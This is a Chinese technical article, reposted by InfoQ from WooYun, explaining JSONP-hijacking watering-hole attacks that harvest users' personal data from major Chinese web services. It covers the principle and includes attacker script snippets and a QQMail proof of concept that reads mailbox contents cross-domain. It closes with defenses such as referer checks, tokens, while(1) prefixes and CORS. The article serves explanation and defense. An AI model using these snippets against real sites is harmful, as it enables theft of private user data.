利用 JSONP 进行水坑攻击

阅读数:4081 2015 年 6 月 17 日 08:35

声明:为了更好地向读者输出更优质的内容,InfoQ 将精选来自国内外的优秀文章,经过整理审校后,发布到网站。本篇文章作者为乌云白帽子大学生,原文链接。本文已由乌云网授权InfoQ 中文站转载。欢迎转发,但请保留原作者信息!

编者按:纽约时报近期在对JSONP 水坑攻击的报道中称,中国的15 大网络服务平台,包括百度、淘宝、QQ、新浪、搜狐、携程和人人网,存在严重漏洞,攻击者可以轻松偷取个人敏感信息。那么水坑攻击的原理和防御措施有哪些呢?乌云网的白帽子大学生给我们做出了解答。


0x00 简介

前几天安全研究者 Jaime Blasco 发现了在中国某些特定主题的网站被进行了水坑攻击,攻击方法有一定多样性,其中存在一些比较少见于此类型攻击中的技术,不过其实是比较早的技术了,国内猥琐流已经玩了很久的玩意。攻击类型的多样性在于,该安全公司并非追踪到了某个攻击组织的多次活动,而是某个特定主题网站的多次攻击。

比如针对Mac OS X 的攻击:发送Microsoft Office .doc 利用 MS09-027 来打苹果电脑,虽然我认为他们可能没打到啥东西。除此之外的攻击事件还可以参考针对Adobe PDF 的攻击以及邮件钓鱼攻击

这次的攻击方式总结起来就是 当受害者访问网站 A 时会触发恶意代码,之后恶意代码会去访问某些存在可获取私人信息接口的网站,获取信息后再上传至 C2。下面是该安全公司统计的恶意代码获取信息的网站,总的来说应该是以中国地区的用户为目标的一次行动,这年头会上这些网站的老外不多了。

利用JSONP进行水坑攻击

至于提到的玩烂了,乌云上有记录的分析最早是剑心 2012 年发布的 《 Json hijacking/Json 劫持漏洞》以及 2014 年 zone 社区的《 JSON 探针》和《 Jsonp 探针 callback 地址收集帖》。

0x01 原理 & 攻击分析

总结来说 JS 会通过某种方式获取数据来方便用户的交互,这种获取数据的方式有一些通用的格式,这里就是 Json or Jsonp。一般 JS 会通过两种方式获取数据。一种是 xmlhttp 还有一种是 script 的形式。

xmlhttp 的数据获取方式只有在同一个域的情况下才可以获取,不然会遭受同源策略的限制,但是如果数据位于两个不同的域名,那么只有通过 script 的方式进行获取,通过 script 的方式先传入一个 callback,那么数据就会被传入的函数执行。这样就不会遭到同源策略的限制。

复制代码
<script>
function wooyun_callback(a){
alert(a);
}
</script>
<script src="http://www.wooyun.org/userdata.php?callback=wooyun_callback"></script>

这次其实就是在目标网站群上插入通过此类型的接口获取信息的代码,再获取目标的私人信息。老外给了几张恶意代码的截图。

1. 利用代码,通过某种方式在受害者访问的网站嵌入:

复制代码
_ae(_id('myselfform'),_'renrenid');
_as('http://passport.game.com/user/info?callback=renrenall');_countok++;
复制代码
function _as(url) {try{
var s = document.creatElement('script');
s.src = url;
document.body.appendChild(s);}catch(e);{}
}

2. 通过 callback 获取响应数据

利用JSONP进行水坑攻击

3. 解析响应数据

利用JSONP进行水坑攻击

老外提到了一个中国安全博客代码风格有点像。这里大概原理已经解释的差不多了。

0x02 利用代码 & 案例

关于这方面就是 jacks 写的《 JSON 探针—定位目标网络虚拟信息身份》和 xiaoxin 在此之上扩展的《 Jsonp 探针 callback 地址收集帖》。

案例方面可以在乌云主站搜索到。

比如国美在线多接口问题可以获取用户的购买记录等大量的隐私信息。比较有代表性的还有剑心发布的 QQMail 邮件泄露漏洞通过 QQmail 的特殊接口获取邮箱内容。

复制代码
<script>
var Qmail={};
</script>
<script src="http://mail.qq.com/cgi-bin/login?fun=passport&target=MLIST&t=login.js&pagesize=10&resp_charset=gb2312&1=3"></script>
<script>
alert(Qmail.newMailsList.nextUrl);
alert(document.scripts[1].src=Qmail.newMailsList.nextUrl);
alert(Qmail.newMailsList.summary);
</script>

0x03 攻击原因分析

Jaime Blasco 提到攻击原因的方面,攻击出现某些特定的主题的网站,以某些少数民族以及支持自由言论的非政府组织。攻击目标以小部分群体为主,攻击的目的应该在于收集其个人的资料,其中一个原因可能在于在中国一部分网站受到 GFW 的拦截,但是只要使用 VPN 以及 Tor 就可以正常访问,在使用某种代理的前提下收集这一部分群体的信息存在难度,那么就可以通过水坑的方式,跨域收集个人信息。

0x04 修复 & 防御 方案

  1. 尽量避免跨域的数据传输,对于同域的数据传输使用 xmlhttp 的方式作为数据获取的方式,依赖于 JavaScript 在浏览器域里的安全性保护数据。

  2. referer 的来源限制,利用前端 referer 的不可伪造性来保障请求数据的应用来源于可信的地方,此种方式力度较稀,完全依赖于 referer,某些情况下(如存在 xss)可能导致被绕过。

  3. token 的加入,严格来说,这种利用 JavaScript hijacking 的方式获取数据是 CSRF 的一种,不过较之传统的 CSRF 不能获取数据只能提交而言,这种方式利用 JavaScript 可以获取一些敏感信息而已。如果我们能让攻击者对接口未知,就可以实现 json hijacking 的防御了。利用 token 对调用者的身份进行认证,这种方式对于调用者的身份会要求力度较细,但是一旦出现 xss 也可能导致前端 Token 的泄露,从而导致保护失效。

  4. 对于同域的 json 使用情况下,可以在数据的输出头部加入 while(1); 的方式避免数据被 script 标签的方式引用,这可以防止一些比较有特性的浏览器里导致的数据泄漏。

此外老外还提到了

  1. 使用 CORS 代替 jsonp。
  2. 不要在使用 cookie 的情况下使用 jsonp 交换数据

大概就这样,其中提到了独裁之类的玩意我就不说了。

收藏

评论

微博

用户头像
发表评论

注册/登录 InfoQ 发表评论